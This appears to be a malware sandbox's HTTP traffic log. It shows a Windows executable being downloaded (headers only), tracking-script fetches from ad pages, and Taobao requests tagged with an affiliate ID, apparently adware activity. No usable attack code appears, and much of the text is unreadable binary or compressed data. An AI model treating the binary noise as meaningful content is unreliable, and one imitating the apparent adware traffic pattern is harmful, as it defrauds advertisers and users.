Date: Tue, 26 May 2015 09:26:23 GMT

Content-Type: application/octet-stream

Content-Length: 6031496

Last-Modified: Wed, 15 Apr 2015 01:30:55 GMT

Connection: keep-alive

ETag: "552dbf4f-5c0888"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......l...(...(...
(...v... ...S...-...G...!...G...............~.......J...0...(.........
.. ...............].......x...(...........)...Rich(...........PE..L...
 . U.................0....S.....F7.......@....@.......................
...@^......S\......................................}T......`X.........
......[..............................................................@
...............................text............0.................. ..`
[email protected]..@..............@[email protected]..`....T.......
[email protected]........`X.......V.............@..@....................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>

GET /17745949.js HTTP/1.1

Accept: */*

Referer: hXXp://jc.110160.com/ad.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: js.users.51.la

Connection: Keep-Alive

HTTP/1.1 200 OK

Cache-Control: max-age=300

Content-Length: 1931

Content-Type: application/x-javascript

Last-Modified: Thu, 30 Apr 2015 20:42:59 GMT

Accept-Ranges: bytes

ETag: "1ab9bc3e8683d01:b6b"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Tue, 26 May 2015 09:33:39 GMT

Connection: close
document.write ('<a href="hXXp://VVV.51.la/?17745949" target="_blan
k" title="51.la 专业、
免费、强健的访问߭
F;计">网站统计</a>\n');..var a5
949tf="51la";var a5949pu="";var a5949pf="51la";var a5949su=window.loca
tion;var a5949sf=document.referrer;var a5949of="";var a5949op="";var a
5949ops=1;var a5949ot=1;var a5949d=new Date();var a5949color="";if (na
vigator.appName=="Netscape"){a5949color=screen.pixelDepth;} else {a594
9color=screen.colorDepth;}..try{a5949tf=top.document.referrer;}catch(e
){}..try{a5949pu =window.parent.location;}catch(e){}..try{a5949pf=wind
ow.parent.document.referrer;}catch(e){}..try{a5949ops=document.cookie.
match(new RegExp("(^| )a5949_pages=([^;]*)(;|$)"));a5949ops=(a5949ops=
=null)?1: (parseInt(unescape((a5949ops)[2])) 1);var a5949oe =new Date(
);a5949oe.setTime(a5949oe.getTime() 60*60*1000);document.cookie="a5949
_pages=" a5949ops  ";path=/;expires=" a5949oe.toGMTString();a5949ot=do
cument.cookie.match(new RegExp("(^| )a5949_times=([^;]*)(;|$)"));if(a5
949ot==null){a5949ot=1;}else{a5949ot=parseInt(unescape((a5949ot)[2]));
 a5949ot=(a5949ops==1)?(a5949ot 1):(a5949ot);}a5949oe.setTime(a5949oe.
getTime() 365*24*60*60*1000);document.cookie="a5949_times=" a5949ot ";
path=/;expires=" a5949oe.toGMTString();}catch(e){}..try{if(document.co
okie==""){a5949ops=-1;a5949ot=-1;}}catch(e){}..a5949of=a5949sf;if(a594
9pf!=="51la"){a5949of=a5949pf;}if(a5949tf!=="51la"){a5949of=a5949t
<<< skipped >>>

GET /17796801.js HTTP/1.1

Accept: */*

Referer: hXXp://jc.110160.com/ad2.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: js.users.51.la

Connection: Keep-Alive

HTTP/1.1 200 OK

Cache-Control: max-age=300

Content-Length: 1931

Content-Type: application/x-javascript

Last-Modified: Sun, 24 May 2015 02:41:51 GMT

Accept-Ranges: bytes

ETag: "6e597a30cb95d01:b6b"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Tue, 26 May 2015 09:33:36 GMT

Connection: close
document.write ('<a href="hXXp://VVV.51.la/?17796801" target="_blan
k" title="51.la 专业、
免费、强健的访问߭
F;计">网站统计</a>\n');..var a6
801tf="51la";var a6801pu="";var a6801pf="51la";var a6801su=window.loca
tion;var a6801sf=document.referrer;var a6801of="";var a6801op="";var a
6801ops=1;var a6801ot=1;var a6801d=new Date();var a6801color="";if (na
vigator.appName=="Netscape"){a6801color=screen.pixelDepth;} else {a680
1color=screen.colorDepth;}..try{a6801tf=top.document.referrer;}catch(e
){}..try{a6801pu =window.parent.location;}catch(e){}..try{a6801pf=wind
ow.parent.document.referrer;}catch(e){}..try{a6801ops=document.cookie.
match(new RegExp("(^| )a6801_pages=([^;]*)(;|$)"));a6801ops=(a6801ops=
=null)?1: (parseInt(unescape((a6801ops)[2])) 1);var a6801oe =new Date(
);a6801oe.setTime(a6801oe.getTime() 60*60*1000);document.cookie="a6801
_pages=" a6801ops  ";path=/;expires=" a6801oe.toGMTString();a6801ot=do
cument.cookie.match(new RegExp("(^| )a6801_times=([^;]*)(;|$)"));if(a6
801ot==null){a6801ot=1;}else{a6801ot=parseInt(unescape((a6801ot)[2]));
 a6801ot=(a6801ops==1)?(a6801ot 1):(a6801ot);}a6801oe.setTime(a6801oe.
getTime() 365*24*60*60*1000);document.cookie="a6801_times=" a6801ot ";
path=/;expires=" a6801oe.toGMTString();}catch(e){}..try{if(document.co
okie==""){a6801ops=-1;a6801ot=-1;}}catch(e){}..a6801of=a6801sf;if(a680
1pf!=="51la"){a6801of=a6801pf;}if(a6801tf!=="51la"){a6801of=a6801t
<<< skipped >>>

GET /tps/i4/TB1Sji9HVXXXXayXFXXYMrr2pXX-750-300.jpg_Q90.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms04.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 76275

Connection: keep-alive

Date: Tue, 26 May 2015 00:02:57 GMT

Last-Modified: Wed, 20 May 2015 08:40:41 GMT

Expires: Fri, 23 May 2025 00:02:57 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache54.l2de1[0,200-0,H], cache58.l2de1[1,0], cache10.de1[0,200-0,H], cache6.de1[0,0]

Age: 34265

X-Cache: HIT TCP_MEM_HIT dirn:1:200698248

X-Swift-SaveTime: Tue, 26 May 2015 00:03:09 GMT

X-Swift-CacheTime: 315359988
......JFIF.............C..............................................
......................C...............................................
........................,.............................................
.p.........................!..1..AQ"2aq......#BRV.........38Trs...$
SWbtuv......467FXc........U.&(Df.....9Ge..............................
......U........................!1.AQ..aq...."2RT....3S.......#46Brs..5
Ub$Cc....D..%E..7...............?...~c.XE..DQ...s.J...[s..V..d.....aXX
...zV:..4RL..5p .D...U....UJ...*.d.|.?..D.l/....}.-5o.....[^.._.K.O%x.
DO!tE!..'.."}..'.."y..';.#.P....>.....p...LT}T..;."I......mDI.3...D
K.Q...D...g..#..#..,w..";.DX.(...".r..].$.h....!N..e."B..&...D.,.t...0
........c..].J...:.\...R.u.<..h.J...0>[email protected].....,.......dQT$....
*H."(..".."(...aE$....b..=h.^...ST..UJ.}.......^6...L.6.......OUtf.$..
RW.X.$=.....Lf...U%}".."..T.e ..P.*...HH..d.[&.5EE.t.$..DE..%4Q.DO6.6.
.[[email protected]>..5.:...e4.l:U...EDQ..t.u
..h.._.j.W..'....=t..T..tSB....q?.W.w2..m.[...oZj.........G...\.}.Q..r
..C.D.t'r@.."W..GBT}.....j>....DG.V..8...".]......,=DK.Q........%.(
.!.".}..#....;.".v......{h..."A{4D.....^.$).m.6....."Av..S.E.{../..?.5
....g?.w.*..(:....:....^..($`u.4...H.'.UI`..UV(..".K.f..F*...".."(..$.
....zl:..(......{...OZ*.z....EMSN9..Z..mjF..=MKU=SJ..=jJ..#..U%.y:u.T.
ST...p .M.....DE..%{.../d.R.0*..[&.UEE.qDI.".........1q/...Yh8r3EO....
6.(... ..y!.b.........A.. .R.....i....'to.8..)I.`.0&._..JS/ ..p%G...O.
[email protected]$.YU...s....|.ElQDE.c;...i....P![p.]E[E..DQ.DE.8.x..
<<< skipped >>>

GET /ju/common/1.5.8/global-min.css HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Content-Length: 11034

Connection: keep-alive

Date: Tue, 26 May 2015 08:25:05 GMT

Last-Modified: Thu, 21 May 2015 09:59:14 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache43.l2de1[0,304-0,H], cache50.l2de1[0,0], cache1.es1[0,200-0,H], cache2.es1[0,0]

Content-Encoding: gzip

Age: 4126

X-Cache: HIT TCP_MEM_HIT dirn:8:134582127

X-Swift-SaveTime: Tue, 26 May 2015 08:53:17 GMT

X-Swift-CacheTime: 3600
...........}...Fr._An..........r.dYvr...r...J.......IP......3=...t.._.
.l..<z..==......e_VEgZ..;.}U..N.w.U'.:.e..w.|(...E...t...b.Y.;...b.
Y.7...*..u.Y-;....l.E..;U....E........m...I.v...r}?.=....~. ....g.Uu..
/.o.U:/.U.{(.j...u..V.lW...C.kZ.>...o...Y.*h`]... V..r0.p.I.......'
...r.-w..J. [..?t.lQ>d.l..v..j....2.)[..o...Qp.DJ.t.n.k1..z.|lt#x`.
..E5..z...m..ufK.N>_w....l..v..U1Y.U.....^..k<. ...........e..Jf
e^t.Ns...{..P..a..8......&..}G>w..u..d..q...djZ....H.T]-w@&.g]<.
.&..@8 .......Z.k..~..7u..]Un..i..i.l......|.......U.tU..tV.V.fW.r..-.
Kq..r.&.........3.....~.........f..; ..VO....h8.../....on...nQVO>..
?_,....... ....x..y^.i.)...M....'......p..SG.*[email protected]
...[...VE..$....,.&.G.d.. ......5....z.....r.Ye.'S.l. .(N.[.g.|.x..d..
.a.N./.j1...6.n.3...4......u.........n7.nI..-V..........z..6.....V._..
.[Y.LH..axM..u2-.5.;..0.I#............q......oz.......A...@.\,.......3
....J.i.......K.'..a\..M.....#..9hm..`......._..:/>..~..v`........i
..)...$.=.r..*....t.....c`6.u.tx....G..:{.i.3..z..:..g..wW.u...M....O.
!....\-.....\.E.aI2@/1....mT.;..U..c~..GS3V..X..U1...U.U......?.\N...M
.&^..H..}.....b3..!......=.....5.H..............F.W........'i...E\.(-.
i..Z."/..4.m.*[email protected]........._...H5....`.x.d..p.k.B...
.~..O..8..;UM...6.`.....Z`..2p.s.$....C.h0.... ...W...V.%:)..........2
.."N...$..]0...O.lMF...z.=..z...0....xQO.-8........-..c...nQ....mM..~W
.``.E...g.......n...|.1...4D.h........u.:....K.\...3/H..#....Tg....Tc.
......NT..........n.......UM.\..-4P.....K.-oHE7.0"6{.h.../.ET..jVd
<<< skipped >>>

GET /alilog/mlog/aplus_v2.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 11372

Connection: keep-alive

Date: Tue, 26 May 2015 08:49:33 GMT

Last-Modified: Mon, 25 May 2015 04:09:03 GMT

Cache-Control: max-age=7200,s-maxage=3600

Vary: Accept-Encoding

Via: cache64.l2de1[0,304-0,H], cache9.l2de1[0,0], cache5.es1[0,200-0,H], cache2.es1[0,0]

Content-Encoding: gzip

Age: 2658

X-Cache: HIT TCP_MEM_HIT dirn:2:131991728

X-Swift-SaveTime: Tue, 26 May 2015 08:49:34 GMT

X-Swift-CacheTime: 3600
...........}.w.H.._.u..P...q.[Da9.........|.f. .b..I.1....s.J*..d...z.
...z.:.}NU./..........N.W...k.....,.a..Q5...D....VxS......}...c...Je-.
].J%{.o&.wA..I[.(.........:S......p......Q|....x...Q.L.i<..#g.W..;I
..g.N.4..,p.n$......v... ../....?.T.."...1.\.-.9.7G.h%A.H...H...4.....
.......[.;y-.I.n.~V..-..,ke. ..h...Q.....,.G......SM0_3..'......W..#..
...v..t..J...=..Jo..d.0N._..s.Sj....Q....;.';...-..T_r_.v..j..N....v.{
.....nU..>.\f....>...k..N.{j...p..i.hf....l.$.....R.={;Y.~....$.
n... ..|..9t..c...~i..R. ...fNCV..........pNx)Fx..T.N.(h.Rb.....Q.....
.!W:.F...........([ q!.(.,...H......]...F.`......2.f&Z..\.,S..$.b$..^.
.~.I.....8...7.U...;y.....l...7LW..hJ-%...]Q.Z.U.l..8...,i...7v.;.g...
<H[Y...o..F;.};...n......*.f...9.7..L..y.v..|4}.Bus.....m....{B....
"...1>6...9..?...._{`.....N....c......7;..VmR.zo^.o^...n7.F.Moo....
rS....$.Yp2..WU.Qxg..#.....>....'{..}._...6./..c....$..:/.7"...M...
?..0/....(...A"t.Y<..y.q...N..T..'.4>....8...b.S.9m..-.r..jK.R..
V..<d......9Aqk...u..T..q...M.>^.1U.C|..GA..............^.j...gG
..7....A.....s..'..6@...[a.Fd....r[...o..8{...0nW..nH...s.Sp.jQ&.W.4..
q.....i.5...fkR F...<.-IU..I.Rm.l....j^.j...HN.u..L.EM..y.D...\U..3
u.Z;..V.\.]=bI.Eu....3Y^..r....\...^..1.!r.C<]...}..}.X.1s...n.)KM'
.T..].x5S9.X}pJ..`.E..0....l.!...F.,>....X`....U.S...;J(.C=.v...i..
B.........L>.V.......$.O.K.1...GLG..b.....I,A=....|.e*.ushe.....o._
L6V-....<..Kfs...d.H[...J..M,mK]Mbk.....bGq.g...Uy......0.Y...o...9
s..Q.A.Fm...h..r.4.....$r$.*.....j.. .8...Ni.... i.z...|.."....L..
<<< skipped >>>

GET /ju/??lazyload/1.1.7/index-min.js,julog/1.0.10/index-min.js,julogin/1.1.3/index-min.js?t=16581.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 14062

Connection: keep-alive

Date: Tue, 26 May 2015 08:44:10 GMT

Last-Modified: Thu, 21 May 2015 09:58:06 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache49.l2de1[0,304-0,H], cache58.l2de1[0,0], cache1.es1[35,200-0,H], cache2.es1[36,0]

Age: 2982

X-Cache: HIT TCP_REFRESH_HIT dirn:3:124986113

X-Swift-SaveTime: Tue, 26 May 2015 09:33:52 GMT

X-Swift-CacheTime: 3600
KISSY.add("jbc/lazyload/1.1.7/index",function(t,e,a,n,o,r){function i(
a,n,o){a.style.display=b,a.className="";var r=e.create("<div>");
a.parentNode.insertBefore(r,a);var i=a.value;if(t.isFunction(o)){var s
=o({type:"textarea",elem:a,value:i});s&&(i=s)}e.html(r,i,n)}function s
(e,a){var n,o;return(n=e.id)||(n=e.id=t.guid("ks-lazyload")),(o=a.ksLa
zyloadId)||(o=a.ksLazyloadId=t.guid("ks-lazyload")),n o}function c(t){
return t._ks_lazy_width?t._ks_lazy_width:t._ks_lazy_width=e.outerWidth
(t)}function l(t){return t._ks_lazy_height?t._ks_lazy_height:t._ks_laz
y_height=e.outerHeight(t)}function u(t,a,n){if(!t.offsetWidth)return!1
;var o,r=e.offset(t),i=!0,s=r.left,u=r.top,f={left:s,top:u,right:s c(t
),bottom:u l(t)};return o=d(a,f),o&&n&&(i=d(n,f)),i&&o}function d(t,e)
{var a={};return a.top=Math.max(t.top,e.top),a.bottom=Math.min(t.botto
m,e.bottom),a.left=Math.max(t.left,e.left),a.right=Math.min(t.right,e.
right),a.bottom>=a.top&&a.right>=a.left}function f(e,a){var n=th
is;if(!(n instanceof f))return new f(e,a);var o=e;t.isPlainObject(o)||
(o=a||{},e&&(o.container=e)),f.superclass.constructor.call(n,o),n._cal
lbacks={},n._containerIsNotDocument=9!=n.get("container").nodeType,n._
images=[],n._textareas=[],n._initLoadEvent()}function g(a,n,o,r){"img-
src"===n&&(n="img"),t.isArray(a)||(a=[e.get(a)]);var s=o||h p,c=o||v p
;t.each(a,function(t){var a=e.nodeName(t);"img"==n?"img"==a?z(t,s,r):e
.query("img",t).each(function(t){z(t,s,r)}):"textarea"==a?e.hasClass(t
,c)&&i(t,!0,r):e.query("textarea." c,t).each(function(t){i(t,!0,r)
<<< skipped >>>

GET /alilog/mlog/??spm.js,spmact.js?v=141204 HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 5866

Connection: keep-alive

Date: Tue, 26 May 2015 09:00:07 GMT

Last-Modified: Mon, 25 May 2015 04:09:03 GMT

Cache-Control: max-age=7200,s-maxage=3600

Vary: Accept-Encoding

Via: cache25.l2de1[829,304-0,H], cache14.l2de1[830,0], cache5.es1[0,200-0,H], cache2.es1[1,0]

Content-Encoding: gzip

Age: 2025

X-Cache: HIT TCP_MEM_HIT dirn:5:132297051

X-Swift-SaveTime: Tue, 26 May 2015 09:00:07 GMT

X-Swift-CacheTime: 3600
...........[...6.. #.......q.VZ.........]N.U..I...P.hdI........N..WWu.
.2E. .h...nL..E....w.........{.........<Lb............$..y..e2/..L.
..].B_..X......_....w,....."_..If.........N..nZ..v>..g..<..y..3.
...v;w.2...Y8 r..?....-k`Y..1..bg..m..........dS.f..-YI..'.Qr-kR..NZAQ
3VI.e9...`,X.)..rs.F.....5.{..u.q{4.o.cw<>...N:...,..m[.x..8..}.
..NWan[..T... .V..1..k{...q o^...z.."Po......b.ga..,f.rE?.hM?..Wy..#..
...H.z,.I..d..0......Q<q.r.[.f^..-..5.;^X q..d~.7....(.]I??{.eb;Aw.
J5.i...}...[5V-..:!........Y........e7../[email protected]=..f<.,.....~&...
...0^w.....`..#.O.....;.c........4...hH...:....@.....$J.X.d...>T..7
./`>....k.....OV2.....wb.RD...R..3.M......V...zG2.X.hb.),.m.".eL@. 
..Z.....G.......f\...3Gg9Z..h.%y!'<..XZ8...WI....9..3,...Y.&..O....
.0/.?....Y"]...\fQ....E.1.bp.3..4..'q..Y.p.I.Q.:kx}}L.&....b^._..._.$d
<...&..|x.O%.I*U...\...../[email protected](.\Of(z..`3.1pR..C. .? hN...
..Y. ...%.i....Y42.j.`...y..X../..K..5&...rY.o.;:l.yh..Y.~.......N..t.
.n..M..s;.......i.R/D.t....|...|w..w.....3..Id;Nm............n.&JN.Y..
A...X.....$.Y..'..bnY.|$', .u.'.B:^<..(CG..Y.....YV.M...../.....,$.
`!..$..0#...Q6!..DAw}....F.#n#.AM..7........L.-v..(.....De-..].1".Qy.\
....../b.]'ap.s.@=.....J.JbB-NG2. .(..~.......I...7....~.....9.......^
...C.j..1SNB(......_.9v}..\V..V.^C!2.{.....9H..b-.d.[CZfvD.....s0v.U.X
.u....._...p^" .2@......^.c/....=....%...?.gosP...3...P.U...0.f..Gc...
..g.@_..i.-.V.HW...}..Y..x.......^..z/q.......m....3hF..!.nd.%0....{).
...6....;a'.....0.y..v.|.G....,s.7.........3.......hq.........'.k.
<<< skipped >>>

GET /ju/??jufav/1.0.29/index-min.js?t=16581.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 15382

Connection: keep-alive

Date: Tue, 26 May 2015 08:34:15 GMT

Last-Modified: Thu, 26 Mar 2015 05:59:10 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache60.l2de1[0,304-0,H], cache59.l2de1[0,0], cache8.es1[0,200-0,H], cache2.es1[0,0]

Age: 3578

X-Cache: HIT TCP_MEM_HIT dirn:8:126707158

X-Swift-SaveTime: Tue, 26 May 2015 08:37:39 GMT

X-Swift-CacheTime: 3600
/* JBC-V2 build, 2015-03-25 4:08:36 PM */.KISSY.add("jbc/jufav/1.0.29/
mods/favbox",function(a,b,c,d,e){var f=a.all,g=a.DOM,h=(a.Node,a.Event
,a.Anim),i=a.IO,j="#J_favNumDom",k="#J_surNumDom",l="#J_favItemlistwra
p",m="#J_surItemlistwrap",n="#J_favItemList",o="#J_surItemList",p="#J_
favTagCon",q="#J_surTagCon",r="#J_favSubNav li",s="#J_surSubNav li",t=
".J_icondel",u=".J_item",v="#J_justar em",w="#J_favboxparent",x="#J_ju
star",y="#J_justar i",z="#J_surmsg";if(-1!==window._ju_config.domain.i
ndexOf("daily"))var A="//detail.ju.daily.taobao.net/",B="//dskip.ju.da
ily.taobao.net/",C="//img02.taobaocdn.net/bao/uploaded/",D="//dskip.ju
.daily.taobao.net/json/collect_mark.htm";else var A="//detail.ju.taoba
o.com/",B="//dskip.ju.taobao.com/",C="//gju1.alicdn.com/bao/uploaded/"
,D="//dskip.ju.taobao.com/json/collect_mark.htm";var E={config:{getDat
a:{url:B "json/collect_list.htm",param:[{name:"listType",enumval:["col
lect","favorite"]},{name:"queryType",enumval:[1,2,3]}]},addData:{url:B
 "json/add_collect.htm",param:[{name:"id"}]},delData:{url:B "json/dele
te_collect.htm",param:[{name:"id"}]},html_temp:"<div class='favboxw
rap' id='J_favbox'><div class='favboxframe'><div class='ta
gtit J_tagtit'><ul><li id='J_favNumDom' class='active'>
\u6211\u7684\u805a\u6536\u85cf\uff08<span>0</span>\uff09&l
t;/li><li id='J_surNumDom'>\u805a\u6709\u60ca\u559c\uff08<
span>0</span>\uff09</li></ul></div><div 
class='tagcon'><div class='tagconwrap myjufav' id='J_favTagC
<<< skipped >>>

GET /ju/??jufav/1.0.29/jufav-min.css?t=16581.css HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Content-Length: 13705

Connection: keep-alive

Date: Tue, 26 May 2015 08:34:17 GMT

Last-Modified: Thu, 26 Mar 2015 05:59:10 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache58.l2de1[0,304-0,H], cache61.l2de1[1,0], cache7.es1[0,200-0,H], cache2.es1[0,0]

Age: 3576

X-Cache: HIT TCP_MEM_HIT dirn:6:91713003

X-Swift-SaveTime: Tue, 26 May 2015 09:28:05 GMT

X-Swift-CacheTime: 3600
/* JBC-V2 build, 2015-03-25 4:08:36 PM */...ks-track,.ks-track-hover,.
ks-track-active,.ks-scrollbar,.ks-arrowup,.ks-arrowup-hover,.ks-arrowu
p-active,.ks-arrowdown,.ks-arrowdown-hover,.ks-arrowdown-active,.ks-dr
ag,.ks-drag-hover,.ks-drag-active,.ks-dragtop,.ks-dragbottom,.ks-dragc
enter{width:10px}.ks-scrollbar{position:absolute;top:0;right:0;bottom:
0;background-color:#e3e3e3}.ks-track-hover{background-color:#d9d8d8}.k
s-track-active{background-color:#d9d8d8}.ks-track{position:absolute}.k
s-arrowup,.ks-arrowdown,.ks-arrowup a,.ks-arrowdown a{display:block;te
xt-indent:-1000px;width:8px;height:8px;overflow:hidden;border:1px soli
d #000;right:0;position:absolute}.ks-arrowup a,.ks-arrowdown a{border:
0}.ks-arrowup{background-color:#959695;top:0}.ks-arrowup-hover{backgro
und-color:#9ccae3}.ks-arrowup-active{background-color:#3c7fb1}.ks-arro
wdown{background-color:#959695;bottom:0}.ks-arrowdown-hover{background
-color:#9ccae3}.ks-arrowdown-active{background-color:#3c7fb1}.ks-drag{
background-color:#979797;position:absolute}.ks-drag .ks-dragtop,.ks-dr
ag .ks-dragbottom{display:none}.ks-drag .ks-dragcenter{position:absolu
te;top:50%;margin-top:-10px;height:20px;background-color:#18598a}.ks-d
rag-hover{background-color:#9ccae3}.ks-drag-active{background-color:#3
c7fb1}.clear-track,.clear-track-hover,.clear-track-active,.clear-scrol
lbar,.clear-arrowup,.clear-arrowup-hover,.clear-arrowup-active,.clear-
arrowdown,.clear-arrowdown-hover,.clear-arrowdown-active,.clear-drag,.
clear-drag-hover,.clear-drag-active,.clear-dragtop,.clear-dragbott
<<< skipped >>>

GET /ju/??jupopup/1.0.7/box-min.css?t=16581.css HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Content-Length: 4767

Connection: keep-alive

Date: Tue, 26 May 2015 08:44:06 GMT

Last-Modified: Mon, 23 Mar 2015 09:46:47 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache24.l2de1[0,304-0,H], cache61.l2de1[1,0], cache8.es1[0,200-0,H], cache2.es1[1,0]

Age: 2987

X-Cache: HIT TCP_MEM_HIT dirn:11:116146194

X-Swift-SaveTime: Tue, 26 May 2015 09:26:34 GMT

X-Swift-CacheTime: 3600
.ju-popup-wrapper{width:100%;height:100%;position:fixed;_position:abso
lute;top:0;left:0;z-index:9000}.ju-popup-mask{background-color:#999;wi
dth:100%;height:100%;opacity:.5;filter:alpha(opacity=50);position:abso
lute;left:0;top:0}.ju-popup-hidemask .ju-popup-mask{display:none}.ju-p
opup{position:relative;border:7px solid #BBB;width:350px;top:30%;margi
n-left:auto;margin-right:auto;-moz-border-radius:5px;-khtml-border-rad
ius:5px;-webkit-border-radius:5px;border-radius:5px;z-index:5000}.ju-p
opup .hd{height:22px;line-height:22px;padding-left:8px;background-colo
r:#DC442F}.ju-popup .hd h3{color:#FFF;font-size:12px}.ju-popup-wrapper
 .error .hd,.ju-popup-wrapper .failure .hd,.ju-popup-wrapper .prompt .
hd{background-color:#CA0002;font-weight:700}.ju-popup-wrapper .success
 .hd{background-color:#8EAF1B}.ju-popup-wrapper .white .hd{background-
color:#fff;font-weight:700;border-bottom:1px solid #D1D1D1;zoom:1}.ju-
popup-wrapper .white .ft .btn-close{color:#C9C9C9}.ju-popup-wrapper .b
d .icon{float:left;width:60px;height:50px;background:url(//assets.alic
dn.com/app/sns/img/emots.png) -1000px -1000px no-repeat;min-height:50p
x;_height:50px;margin-left:-60px;position:absolute}.ju-popup-wrapper .
failure .bd,.ju-popup-wrapper .prompt .bd,.ju-popup-wrapper .success .
bd{padding-left:85px;min-height:50px;_height:50px}.ju-popup-wrapper .p
rompt .bd .icon{background-position:0 -100px}.ju-popup-wrapper .failur
e .bd .icon{background-position:-60px -50px}.ju-popup-wrapper .success
 .bd .icon{background-position:-120px 0}.ju-popup .bd{background-c
<<< skipped >>>

GET /tps/i3/TB1ODS9HFXXXXbaXFXXMmPIJFXX-9-7.gif HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms03.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/gif

Content-Length: 1323

Connection: keep-alive

Date: Mon, 27 Apr 2015 07:12:02 GMT

